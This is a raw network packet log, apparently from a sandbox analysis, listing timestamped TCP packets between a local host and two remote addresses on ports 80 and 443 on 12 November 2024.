Nov 12, 2024 13:35:39.921343088 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.921354055 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.921356916 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.921364069 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.921375990 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.921390057 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.921396017 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.921401978 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.921406984 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.921411037 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.921411037 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.921413898 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.921418905 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.921421051 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.921425104 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.921427965 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.921454906 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.921598911 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.921879053 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922065973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922077894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922087908 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922101021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922111988 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922122002 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922128916 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.922132015 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922142029 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922153950 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922158003 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.922167063 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922177076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922180891 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.922180891 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.922188997 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922202110 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922210932 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922220945 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922230959 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922241926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922243118 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.922243118 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.922252893 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922262907 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922270060 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.922270060 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.922272921 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922283888 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922295094 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922305107 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.922313929 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.922341108 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.922342062 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.922987938 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923000097 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923059940 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.923059940 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.923142910 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923154116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923163891 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923176050 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923186064 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923197031 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923202038 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.923207045 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923218012 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923228025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923238993 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923239946 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.923239946 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.923264027 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.923279047 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923290014 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923297882 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923307896 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923327923 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923337936 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.923337936 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.923338890 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923362017 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.923419952 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.923456907 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923470020 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923480988 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923561096 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.923918009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923928976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923944950 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923955917 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.923986912 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.924007893 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.924007893 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.924036026 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.924047947 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.924065113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.924074888 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.924086094 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.924108028 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.924108028 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.924138069 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.924154997 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.924341917 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.924961090 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.924973011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.924982071 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.924993992 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.925004005 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.925014973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.925014973 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.925024986 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.925045967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.925079107 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.925079107 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.925120115 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.925131083 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.925139904 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.925148964 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.925152063 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.925163031 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.925198078 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.925198078 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.925198078 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.925265074 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.925276041 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.925285101 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.925296068 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.925332069 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.925345898 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.925345898 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.926064014 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.926079988 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.926204920 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.926206112 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.926212072 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.926217079 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.926232100 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.926234007 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.926259995 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.926270962 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.926281929 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.926291943 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.926294088 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.926294088 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.926306963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.926315069 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.926331043 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.926376104 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.926387072 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.926395893 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.926407099 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.926419020 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.926450014 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.926611900 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.927299023 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.927319050 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.927427053 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.927439928 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.927458048 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.927478075 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.927485943 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.927489042 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.927490950 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.927500010 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.927500963 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.927510023 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.927510977 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.927525043 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.927530050 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.927555084 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.927556992 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.927561045 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.927561998 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.927571058 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.927580118 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.927591085 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.927599907 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.927602053 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.927606106 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.927613020 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.927623987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.927634954 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.927659988 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.927659988 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.927771091 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.928283930 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928296089 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928306103 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928335905 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928347111 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928355932 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928363085 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.928366899 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928378105 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928388119 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928399086 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928399086 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.928399086 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.928411007 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928423882 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928433895 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928443909 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928453922 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.928453922 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.928455114 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928464890 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.928466082 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928476095 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928488016 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928492069 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.928498983 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928509951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928519011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928525925 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.928525925 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.928529024 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928540945 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.928555965 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.928555965 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.928648949 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929039955 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929052114 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929060936 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929075956 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929085970 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929097891 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929104090 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929110050 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929121017 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929131985 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929142952 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929142952 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929145098 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929158926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929164886 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929169893 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929181099 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929191113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929203033 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929203033 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929246902 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929246902 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929507971 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929519892 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929528952 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929539919 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929549932 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929552078 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929559946 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929565907 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929570913 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929579973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929589033 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929591894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929603100 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929634094 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929640055 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929651022 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929661989 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929666042 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929680109 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929685116 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929691076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929701090 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929712057 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929717064 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929723024 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929733992 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929744959 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929744959 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929744959 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929755926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929771900 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929781914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929791927 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929795027 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929795027 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929802895 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929814100 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929819107 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929819107 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929826021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929835081 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929852009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.929896116 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929896116 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.929896116 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.930370092 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930382967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930392981 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930409908 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930434942 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.930434942 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.930510044 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930521011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930531025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930531979 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.930541992 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930552959 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930562019 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.930562019 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.930563927 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930576086 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930586100 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930603027 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.930603027 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.930608034 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930619955 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930629969 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930639982 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930650949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930660009 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.930660009 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.930660009 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.930661917 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930674076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930684090 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930696011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930706024 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.930707932 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930718899 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930730104 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930732012 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.930732012 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.930741072 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930752039 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.930779934 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.930788994 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.930788994 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.931435108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931444883 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931457043 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931467056 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931483030 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.931552887 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.931596994 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931610107 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931618929 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931632996 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931643009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.931646109 CET	51556	80	192.168.2.6	185.215.113.206
